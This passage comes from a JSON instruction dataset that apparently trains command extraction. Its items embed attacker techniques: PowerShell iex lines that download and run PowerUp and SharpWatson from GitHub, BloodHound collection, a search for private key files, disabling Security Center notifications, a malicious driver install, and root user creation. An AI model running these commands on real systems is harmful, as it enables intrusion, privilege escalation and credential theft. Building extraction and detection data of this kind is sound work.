$env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a command and redirect its output to a local Admin Share, which is commonly used in post-exploitation frameworks, run the following command: cmd.exe /Q /c #{command_to_execute} 1> \\\\127.0.0.1\\ADMIN$\\#{output_file} 2>&1\n",
    "output": "{\"command_list\": [\"cmd.exe /Q /c #{command_to_execute} 1> \\\\\\\\127.0.0.1\\\\ADMIN$\\\\#{output_file} 2>&1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows Security Center notifications, modify the registry of the currently logged-in user with the following command: reg add HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Private keys with various extensions like .pfx, .cer, or .asc can be found on the Windows file system via the command: dir c:\\ /b /s .key | findstr /e .key",
    "output": "{\"command_list\": [\"dir c:\\\\ /b /s .key | findstr /e .key\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious actors can deploy containers using pre-built or custom images, such as in the Kinsing & Doki attacks, by running the following commands: docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\n",
    "output": "{\"command_list\": [\"docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious drivers can be installed by leveraging pnputil.exe, a built-in Windows command-line utility, with the command: pnputil.exe -i -a #{driver_path}",
    "output": "{\"command_list\": [\"pnputil.exe -i -a #{driver_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a new user in Linux with root privileges, as seen in the Butter attack campaign, use the following command:\nuseradd -g 0 -M -d /root -s /bin/bash #{username}\nif [ $(cat /etc/os-release | grep -i 'Name=\"ubuntu\"') ]; then echo \"#{username}:#{password}\" | sudo chpasswd; else echo \"#{password}\" | passwd --stdin #{username}; fi;",
    "output": "{\"command_list\": [\"useradd -g 0 -M -d /root -s /bin/bash #{username}\\nif [ $(cat /etc/os-release | grep -i 'Name=\\\"ubuntu\\\"') ]; then echo \\\"#{username}:#{password}\\\" | sudo chpasswd; else echo \\\"#{password}\\\" | passwd --stdin #{username}; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The threat actor Rocke utilized this approach during Linux web server compromises, where they would alter file attributes via the command sequence:\ntouch #{file_to_modify}\nchflags simmutable #{file_to_modify}\nchflags nosimmutable #{file_to_modify}\n",
    "output": "{\"command_list\": [\"touch #{file_to_modify}\\nchflags simmutable #{file_to_modify}\\nchflags nosimmutable #{file_to_modify}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for missing Windows patches using PowerSharpPack's Watson technique, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')\nInvoke-watson",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')\\nInvoke-watson\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An 